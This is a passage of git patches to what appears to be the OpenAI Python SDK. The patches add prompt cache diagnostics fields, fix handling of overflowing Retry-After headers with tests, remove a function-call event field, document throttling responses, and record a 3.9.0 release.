Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str]
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Literal["implicit", "explicit"]
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index db6e32bfa0..da3cd66a1f 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -39,6 +39,11 @@
"ModerationOutput",
"ModerationOutputModerationResult",
"ModerationOutputError",
+ "PromptCacheDiagnostics",
+ "PromptCacheDiagnosticsCacheMiss",
+ "PromptCacheDiagnosticsCacheHit",
+ "PromptCacheDiagnosticsComparisonResponseNotFound",
+ "PromptCacheDiagnosticsUnavailable",
"PromptCacheOptions",
]
@@ -187,6 +192,55 @@ class Moderation(BaseModel):
"""Moderation for the response output."""
+class PromptCacheDiagnosticsCacheMiss(BaseModel):
+ cache_missed_tokens: int
+ """
+ The estimated number of input tokens affected after the first detected
+ divergence.
+ """
+
+ reason: Literal[
+ "model_changed",
+ "prompt_cache_key_changed",
+ "tools_changed",
+ "text_format_changed",
+ "reasoning_effort_changed",
+ "verbosity_changed",
+ "context_compacted",
+ "input_changed",
+ "service_tier_changed",
+ ]
+ """The reason prompt cache reuse did not occur."""
+
+ type: Literal["cache_miss"]
+
+ comparison_reusable_tokens: Optional[int] = None
+ """The raw token count of the reusable prefix in the compared response."""
+
+
+class PromptCacheDiagnosticsCacheHit(BaseModel):
+ type: Literal["cache_hit"]
+
+
+class PromptCacheDiagnosticsComparisonResponseNotFound(BaseModel):
+ type: Literal["comparison_response_not_found"]
+
+
+class PromptCacheDiagnosticsUnavailable(BaseModel):
+ type: Literal["unavailable"]
+
+
+PromptCacheDiagnostics: TypeAlias = Annotated[
+ Union[
+ PromptCacheDiagnosticsCacheMiss,
+ PromptCacheDiagnosticsCacheHit,
+ PromptCacheDiagnosticsComparisonResponseNotFound,
+ PromptCacheDiagnosticsUnavailable,
+ ],
+ PropertyInfo(discriminator="type"),
+]
+
+
class PromptCacheOptions(BaseModel):
"""The prompt-caching options that were applied to the response.
@@ -199,6 +253,9 @@ class PromptCacheOptions(BaseModel):
ttl: Literal["30m"]
"""The minimum lifetime applied to each cache breakpoint."""
+ comparison_response_id: Optional[str] = None
+ """The response ID supplied as the prompt cache diagnostics comparison."""
+
class Response(BaseModel):
id: str
@@ -357,6 +414,9 @@ class Response(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
"""
+ prompt_cache_diagnostics: Optional[PromptCacheDiagnostics] = None
+ """Prompt cache diagnostics requested for this response."""
+
prompt_cache_key: Optional[str] = None
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 3aae42d31c..99069f6504 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -180,12 +180,13 @@ class ResponseCompactParams(TypedDict, total=False):
request will be processed with the Flex Processing service tier. - To opt-in
to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if
- you specify `service_tier=fast` or `priority` in your request. - When not set,
- the default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing
- mode actually used to serve the request. This response value may be different
- from the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
"""
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 030d374b0b..7d08e9b03e 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -380,6 +380,13 @@ class PromptCacheOptions(TypedDict, total=False):
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str]
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Literal["implicit", "explicit"]
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 7951db919a..4df5625f5e 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -108,6 +108,13 @@ class ResponseCreatePromptCacheOptions(BaseModel):
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str] = None
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Optional[Literal["implicit", "explicit"]] = None
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 46f6394894..79a6a8fd00 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -108,6 +108,13 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str]
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Literal["implicit", "explicit"]
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index 5488ffef3a..75a8752380 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -63,6 +63,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -172,6 +173,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -530,6 +532,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -639,6 +642,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index c6b75161b7..8556fde64a 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -59,6 +59,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -163,6 +164,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -497,6 +499,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
@@ -601,6 +604,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
},
prompt_cache_key="prompt-cache-key-1234",
prompt_cache_options={
+ "comparison_response_id": "resp_123",
"mode": "implicit",
"ttl": "30m",
},
From 88b4d4341af38e84784221d73c175f2088fa6b85 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 4 Sep 2026 18:28:30 +0000
Subject: [PATCH 101/341] fix: refuse overflowing server retry delays (#3799)
Positive numeric Retry-After values that overflow a float previously
selected short fallback backoff. Treat them as excessive server delays
so synchronous and asynchronous requests return the original API error
without retrying early. Preserve the existing 120-second limit, header
precedence, and malformed/literal-infinity handling.
Validation: 376 client and X.509 hardening tests passed (2 existing
skips), including 24 public-entrypoint overflow/precedence cases; Ruff,
Mypy, and Pyright passed. The new module failed 10 cases before the fix.
Two independent adversarial review rounds are clean. Exact-commit
custom-code budget: 6,626 / 10,000 lines.
---
src/openai/_base_client.py | 32 ++++-----
tests/test_retry_after_overflow.py | 65 +++++++++++++++++++
.../test_x509_workload_identity_hardening.py | 20 +++++-
3 files changed, 99 insertions(+), 18 deletions(-)
create mode 100644 tests/test_retry_after_overflow.py
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index f195d04816..7f92a61a86 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -759,24 +759,24 @@ def _parse_retry_after_header(self, response_headers: Optional[httpx2.Headers] =
if response_headers is None:
return None
- # First, try the non-standard `retry-after-ms` header for milliseconds,
- # which is more precise than integer-seconds `retry-after`
- try:
- retry_ms_header = response_headers.get("retry-after-ms", None)
- return float(retry_ms_header) / 1000
- except (TypeError, ValueError):
- pass
-
- # Next, try parsing `retry-after` header as seconds (allowing nonstandard floats).
- retry_header = response_headers.get("retry-after")
- try:
- # note: the spec indicates that this should only ever be an integer
- # but if someone sends a float there's no reason for us to not respect it
- return float(retry_header)
- except (TypeError, ValueError):
- pass
+ # Prefer milliseconds, then seconds (allowing nonstandard floats).
+ for header, divisor in (("retry-after-ms", 1000), ("retry-after", 1)):
+ value = response_headers.get(header)
+ if value is None:
+ continue
+ try:
+ delay = float(value)
+ except ValueError:
+ continue
+ if delay == math.inf and value.strip().lower() not in ("inf", "+inf", "infinity", "+infinity"):
+ # Numeric overflow is an excessive server delay, not a malformed
+ # infinity literal. Keep a finite sentinel so retry eligibility
+ # refuses it instead of falling back to a shorter wait.
+ return MAX_RETRY_AFTER_DELAY + 1
+ return delay / divisor
# Last, try parsing `retry-after` as a date.
+ retry_header = response_headers.get("retry-after")
try:
retry_date_tuple = email.utils.parsedate_tz(retry_header)
if retry_date_tuple is None:
diff --git a/tests/test_retry_after_overflow.py b/tests/test_retry_after_overflow.py
new file mode 100644
index 0000000000..b89720b8bd
--- /dev/null
+++ b/tests/test_retry_after_overflow.py
@@ -0,0 +1,65 @@
+from __future__ import annotations
+
+from unittest import mock
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, APIStatusError
+
+
+@pytest.mark.parametrize("async_mode", [False, True])
+@pytest.mark.parametrize(
+ "status,headers,delay",
+ [
+ (429, {"retry-after": "1e999"}, None),
+ (503, {"retry-after": "9" * 400}, None),
+ (429, {"retry-after-ms": "1e999"}, None),
+ (503, {"retry-after-ms": "9" * 400}, None),
+ (401, {"retry-after": "1e999", "x-should-retry": "true"}, None),
+ (429, {"retry-after": "inf"}, 0.5),
+ (503, {"retry-after": " +Infinity "}, 0.5),
+ (429, {"retry-after": "NaN"}, 0.5),
+ (429, {"retry-after": "-1e999"}, 0.5),
+ (429, {"retry-after-ms": "inf", "retry-after": "90"}, 0.5),
+ (429, {"retry-after": "1e2"}, 100.0),
+ (503, {"retry-after-ms": "1e5"}, 100.0),
+ ],
+)
+async def test_retry_after_numeric_overflow(
+ async_mode: bool, status: int, headers: dict[str, str], delay: float | None
+) -> None:
+ attempts = 0
+ body = {"message": "Synthetic retry error", "type": "synthetic_error", "code": "synthetic_code"}
+
+ def handle(request: httpx2.Request) -> httpx2.Response:
+ nonlocal attempts
+ attempts += 1
+ assert request.url.path == "/models/test"
+ return httpx2.Response(status, headers={**headers, "x-request-id": "synthetic-id"}, json={"error": body})
+
+ with mock.patch("time.sleep") as sync_sleep, mock.patch("anyio.sleep") as async_sleep:
+ with mock.patch("openai._base_client.random", return_value=0), pytest.raises(APIStatusError) as exc:
+ if async_mode:
+ async with AsyncOpenAI(
+ api_key="synthetic-key",
+ base_url="https://retry.test",
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handle), trust_env=False),
+ ) as async_client:
+ await async_client.models.retrieve("test")
+ else:
+ with OpenAI(
+ api_key="synthetic-key",
+ base_url="https://retry.test",
+ max_retries=1,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handle), trust_env=False),
+ ) as client:
+ client.models.retrieve("test")
+
+ assert attempts == (1 if delay is None else 2)
+ assert (async_sleep if async_mode else sync_sleep).call_args_list == ([] if delay is None else [mock.call(delay)])
+ assert exc.value.status_code == status
+ assert exc.value.body == body
+ assert exc.value.request_id == "synthetic-id"
+ assert all(exc.value.response.headers[key] == value for key, value in headers.items())
diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py
index 46c5496751..11eb8e04af 100644
--- a/tests/test_x509_workload_identity_hardening.py
+++ b/tests/test_x509_workload_identity_hardening.py
@@ -322,7 +322,15 @@ def test_x509_rejects_data_residency_without_a_confirmed_mtls_endpoint(
client.with_options(data_residency="ae")
-@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}])
+@pytest.mark.parametrize(
+ "headers",
+ [
+ {"x-should-retry": "false"},
+ {"retry-after-ms": "120001"},
+ {"retry-after": "1e999"},
+ {"retry-after-ms": "9" * 400},
+ ],
+)
def test_sync_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None:
requests: list[httpx2.Request] = []
@@ -339,7 +347,15 @@ def handler(request: httpx2.Request) -> httpx2.Response:
assert len(requests) == 1
-@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}])
+@pytest.mark.parametrize(
+ "headers",
+ [
+ {"x-should-retry": "false"},
+ {"retry-after-ms": "120001"},
+ {"retry-after": "1e999"},
+ {"retry-after-ms": "9" * 400},
+ ],
+)
async def test_async_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None:
requests: list[httpx2.Request] = []
From 2a98f6a1dee448c6410531c89c2de0af4383c6a7 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 4 Sep 2026 14:04:59 -0700
Subject: [PATCH 102/341] feat(api): correct function argument completion event
fields (openapi-545) (#3801)
## Summary
Removes the name model field from response.function_call_arguments.done
to match the API response.
## Changes
- Remove the name model field from stable and beta Responses function
argument completion events.
- Update code that accesses the removed field to read name from the
function-call item matched by item_id.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 10 ----------
...ta_response_function_call_arguments_done_event.py | 3 ---
.../response_function_call_arguments_done_event.py | 3 ---
4 files changed, 6 insertions(+), 22 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 7842b74f4a..fa277b5818 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 50d48205-978b-4b96-83b9-e92c82968d25
-openapi_spec_hash: a5a64d9aaf4a4022898dd86685c102ab
-openapi_transformed_spec_hash: f7c7c9ee2566bcf8165ab87b4851a1e5
+generation_id: c8545f55-7807-4037-9c86-3784b96f3960
+openapi_spec_hash: 0f07f47154153d68e717ae594b07dc4c
+openapi_transformed_spec_hash: a1a351d4356d65a15a857d0aca5f7b09
config_hash: dfe8a20c64cc5d852e69c441cbd28ae7
-codegen_sha: 9cbf6087efd2a6d5a57028c17f031fea6f7f5015
-codegen_hash: 331343ebbad785fc4c6d5ce8197e5b3de60b4b989f77df08356eb00fc6e958ef
-public_codegen_sha: 0c33f635083e108a823a23805ec04f2e6d1add4d
+codegen_sha: 1d8024b3eb37e3e329104029ed81fd2085ff1218
+codegen_hash: e1ee819da91a6c8ae8c8af8c4e3054f52eaec918912e9be3b2bd6bc692608d5e
+public_codegen_sha: 67cbc9398ec6c0feb5bad24421b648b42bbc405f
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index e82580d8ea..1ba6aca36e 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -53477,9 +53477,6 @@ components:
item_id:
type: string
description: The ID of the item.
- name:
- type: string
- description: The name of the function that was called.
output_index:
type: integer
description: The index of the output item.
@@ -53492,7 +53489,6 @@ components:
required:
- type
- item_id
- - name
- output_index
- arguments
- sequence_number
@@ -53503,7 +53499,6 @@ components:
{
"type": "response.function_call_arguments.done",
"item_id": "item-abc",
- "name": "get_weather",
"output_index": 1,
"arguments": "{ \"arg\": 123 }",
"sequence_number": 1
@@ -77509,9 +77504,6 @@ components:
item_id:
type: string
description: The ID of the item.
- name:
- type: string
- description: The name of the function that was called.
output_index:
type: integer
description: The index of the output item.
@@ -77524,7 +77516,6 @@ components:
required:
- type
- item_id
- - name
- output_index
- arguments
- sequence_number
@@ -77535,7 +77526,6 @@ components:
{
"type": "response.function_call_arguments.done",
"item_id": "item-abc",
- "name": "get_weather",
"output_index": 1,
"arguments": "{ \"arg\": 123 }",
"sequence_number": 1
diff --git a/src/openai/types/beta/beta_response_function_call_arguments_done_event.py b/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
index 0925b09c7e..0c50ee1a9b 100644
--- a/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
+++ b/src/openai/types/beta/beta_response_function_call_arguments_done_event.py
@@ -24,9 +24,6 @@ class BetaResponseFunctionCallArgumentsDoneEvent(BaseModel):
item_id: str
"""The ID of the item."""
- name: str
- """The name of the function that was called."""
-
output_index: int
"""The index of the output item."""
diff --git a/src/openai/types/responses/response_function_call_arguments_done_event.py b/src/openai/types/responses/response_function_call_arguments_done_event.py
index 84110992b4..793edac97b 100644
--- a/src/openai/types/responses/response_function_call_arguments_done_event.py
+++ b/src/openai/types/responses/response_function_call_arguments_done_event.py
@@ -16,9 +16,6 @@ class ResponseFunctionCallArgumentsDoneEvent(BaseModel):
item_id: str
"""The ID of the item."""
- name: str
- """The name of the function that was called."""
-
output_index: int
"""The index of the output item."""
From be928151372e4b62adb4a1571cda52ad759b38be Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Sat, 5 Sep 2026 16:08:25 +0000
Subject: [PATCH 103/341] =?UTF-8?q?chore(api):=20document=20throttling=20a?=
=?UTF-8?q?nd=20model=20overload=20responses=20=E2=80=94=20SDK-235=20(#380?=
=?UTF-8?q?3)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Document client throttling and model overload responses for moderation
and video requests.
## Changes
- Clarify the 429 slow_down and 503 server_is_overloaded response
contracts
- Document the optional minimum wait before retrying
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
api_reference/openapi.transformed.yml | 20 +++++++++++++++-----
2 files changed, 20 insertions(+), 10 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index fa277b5818..ee2c6c8ad8 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: c8545f55-7807-4037-9c86-3784b96f3960
-openapi_spec_hash: 0f07f47154153d68e717ae594b07dc4c
-openapi_transformed_spec_hash: a1a351d4356d65a15a857d0aca5f7b09
+generation_id: a363d41d-c644-4a27-a570-9e8b5dcfd77e
+openapi_spec_hash: 731db0c2d22643699b8fbff49661822a
+openapi_transformed_spec_hash: d934ec81f1cae9e4b5eb061f1da4fe3d
config_hash: dfe8a20c64cc5d852e69c441cbd28ae7
-codegen_sha: 1d8024b3eb37e3e329104029ed81fd2085ff1218
+codegen_sha: cc61526d915d18b4e4216f7b5bb87af48cf75a4e
codegen_hash: e1ee819da91a6c8ae8c8af8c4e3054f52eaec918912e9be3b2bd6bc692608d5e
-public_codegen_sha: 67cbc9398ec6c0feb5bad24421b648b42bbc405f
+public_codegen_sha: 97c26a059ea758356d8f1e6b2ebf36504aa91ba2
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1ba6aca36e..1ea8d5dfdf 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -8406,7 +8406,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateModerationResponse'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create moderation
group: moderations
@@ -22881,7 +22883,9 @@ paths:
schema:
$ref: '#/components/schemas/VideoResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
x-oaiMeta:
name: Create video
@@ -23153,7 +23157,9 @@ paths:
schema:
$ref: '#/components/schemas/VideoResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
description: Create a new video generation job by editing a source video or existing generated video.
/videos/extensions:
@@ -23176,7 +23182,9 @@ paths:
schema:
$ref: '#/components/schemas/VideoResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
description: Create an extension of a completed video.
/videos/{video_id}:
@@ -23503,7 +23511,9 @@ paths:
schema:
$ref: '#/components/schemas/VideoResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
x-oaiMeta:
name: Remix video
From 182af73b39998d51ad672bbd9c200ee3f4121fad Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Tue, 8 Sep 2026 16:33:47 +0000
Subject: [PATCH 104/341] release: 3.9.0 (#3796)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Automated Release PR
---
##
[3.9.0](https://github.com/openai/openai-python/compare/v3.8.0...v3.9.0)
(2026-09-05)
### Features
* **api:** Add prompt cache diagnostics
([#3800](https://github.com/openai/openai-python/issues/3800))
([8326784](https://github.com/openai/openai-python/commit/83267847a0219ea8b584c9d60f92c7a4dffd392a))
* **api:** correct function argument completion event fields
(openapi-545)
([#3801](https://github.com/openai/openai-python/issues/3801))
([2a98f6a](https://github.com/openai/openai-python/commit/2a98f6a1dee448c6410531c89c2de0af4383c6a7))
### Bug Fixes
* **api:** accept incomplete web search call statuses
([#3786](https://github.com/openai/openai-python/issues/3786))
([3cc8d78](https://github.com/openai/openai-python/commit/3cc8d784ad05f75a265012ee86638adaf93d8bf2))
* refuse overflowing server retry delays
([#3799](https://github.com/openai/openai-python/issues/3799))
([88b4d43](https://github.com/openai/openai-python/commit/88b4d4341af38e84784221d73c175f2088fa6b85))
### Chores
* **api:** document throttling and model overload responses — SDK-235
([#3803](https://github.com/openai/openai-python/issues/3803))
([be92815](https://github.com/openai/openai-python/commit/be928151372e4b62adb4a1571cda52ad759b38be))
* migrate to forked steady
([#3795](https://github.com/openai/openai-python/issues/3795))
([b24aeda](https://github.com/openai/openai-python/commit/b24aeda89980aff382c641366cce869082056b83))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 20 ++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 24 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 078b9e28f8..9127b1bd59 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.8.0"
+ ".": "3.9.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index e7f105eda3..6648b12750 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,25 @@
# Changelog
+## [3.9.0](https://github.com/openai/openai-python/compare/v3.8.0...v3.9.0) (2026-09-05)
+
+
+### Features
+
+* **api:** Add prompt cache diagnostics ([#3800](https://github.com/openai/openai-python/issues/3800)) ([8326784](https://github.com/openai/openai-python/commit/83267847a0219ea8b584c9d60f92c7a4dffd392a))
+* **api:** correct function argument completion event fields (openapi-545) ([#3801](https://github.com/openai/openai-python/issues/3801)) ([2a98f6a](https://github.com/openai/openai-python/commit/2a98f6a1dee448c6410531c89c2de0af4383c6a7))
+
+
+### Bug Fixes
+
+* **api:** accept incomplete web search call statuses ([#3786](https://github.com/openai/openai-python/issues/3786)) ([3cc8d78](https://github.com/openai/openai-python/commit/3cc8d784ad05f75a265012ee86638adaf93d8bf2))
+* refuse overflowing server retry delays ([#3799](https://github.com/openai/openai-python/issues/3799)) ([88b4d43](https://github.com/openai/openai-python/commit/88b4d4341af38e84784221d73c175f2088fa6b85))
+
+
+### Chores
+
+* **api:** document throttling and model overload responses — SDK-235 ([#3803](https://github.com/openai/openai-python/issues/3803)) ([be92815](https://github.com/openai/openai-python/commit/be928151372e4b62adb4a1571cda52ad759b38be))
+* migrate to forked steady ([#3795](https://github.com/openai/openai-python/issues/3795)) ([b24aeda](https://github.com/openai/openai-python/commit/b24aeda89980aff382c641366cce869082056b83))
+
## [3.8.0](https://github.com/openai/openai-python/compare/v3.7.0...v3.8.0) (2026-09-03)
diff --git a/pyproject.toml b/pyproject.toml
index 2f7f6de0c5..d95688b1e4 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.8.0"
+version = "3.9.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 7215d4370d..0f65635a89 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.8.0" # x-release-please-version
+__version__ = "3.9.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index f1811f32b7..5f517c9071 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.8.0" # x-release-please-version
+version = "3.9.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From f1cd7f020210ec3fc71699fc46d90320ddbb411c Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 8 Sep 2026 20:15:04 +0000
Subject: [PATCH 105/341] feat(api): add service-account API key expiration
fields (#3802)
## Summary
Adds optional expiration fields for service-account API keys, clarifies
the Responses store option, and honors WebSocket retry limits across
repeated reconnects.
## Changes
- Allow service-account API key creation requests to specify
expires_in_seconds.
- Expose expires_at on service-account API key responses.
- Clarify the default and retention behavior of the Responses store
option.
- Honor the configured retry limit when WebSocket connections repeatedly
fail before receiving a non-error application event.
---------
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
.castiron.stats.yml | 12 ++---
api_reference/openapi.transformed.yml | 17 +++++++
.../projects/service_accounts/api_keys.py | 10 ++++
.../resources/beta/responses/responses.py | 50 +++++++++++++++++--
src/openai/resources/realtime/realtime.py | 32 ++++++++++--
src/openai/resources/responses/responses.py | 50 +++++++++++++++++--
.../service_accounts/api_key_create_params.py | 4 ++
.../api_key_create_response.py | 7 +++
.../types/beta/beta_responses_client_event.py | 7 ++-
